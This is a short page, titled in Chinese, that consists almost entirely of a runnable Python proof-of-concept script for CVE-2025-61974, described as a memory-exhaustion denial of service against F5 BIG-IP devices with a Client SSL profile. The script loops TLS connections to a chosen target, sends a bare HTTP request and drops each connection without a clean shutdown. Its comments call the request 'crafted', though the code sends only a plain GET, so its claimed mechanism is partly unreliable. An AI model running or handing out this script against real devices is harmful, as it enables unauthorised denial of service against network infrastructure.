CVE-2025-61974：F5产品Client SSL配置导致内存资源耗尽漏洞

# CVE-2025-61974 PoC - F5 BIG-IP Client SSL Memory Exhaustion # This PoC demonstrates how to trigger memory resource exhaustion # on F5 BIG-IP devices with Client SSL profile configured. import socket import ssl import time import argparse def send_malicious_ssl_request(target_host, target_port, iterations=1000): """ Send crafted SSL/TLS requests to trigger memory exhaustion in F5 BIG-IP Client SSL profile handling. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE for i in range(iterations): try: # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) # Wrap with SSL - trigger Client SSL processing ssl_sock = context.wrap_socket(sock, server_hostname=target_host) # Send crafted request to trigger memory leak # The specific request pattern causes memory resource increase ssl_sock.send(b'GET / HTTP/1.1\r\n') ssl_sock.send(b'Host: ' + target_host.encode() + b'\r\n') ssl_sock.send(b'\r\n') # Read partial response then close abruptly to avoid cleanup try: ssl_sock.recv(1024) except: pass # Close without proper SSL shutdown to trigger memory issue sock.close() if i % 100 == 0: print(f"[*] Sent {i} requests...") except Exception as e: print(f"[!] Error at iteration {i}: {e}") continue print(f"[*] Completed {iterations} requests to {target_host}:{target_port}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-61974 PoC') parser.add_argument('--host', required=True, help='Target F5 BIG-IP host') parser.add_argument('--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--iterations', type=int, default=1000, help='Number of requests') args = parser.parse_args() send_malicious_ssl_request(args.host, args.port, args.iterations)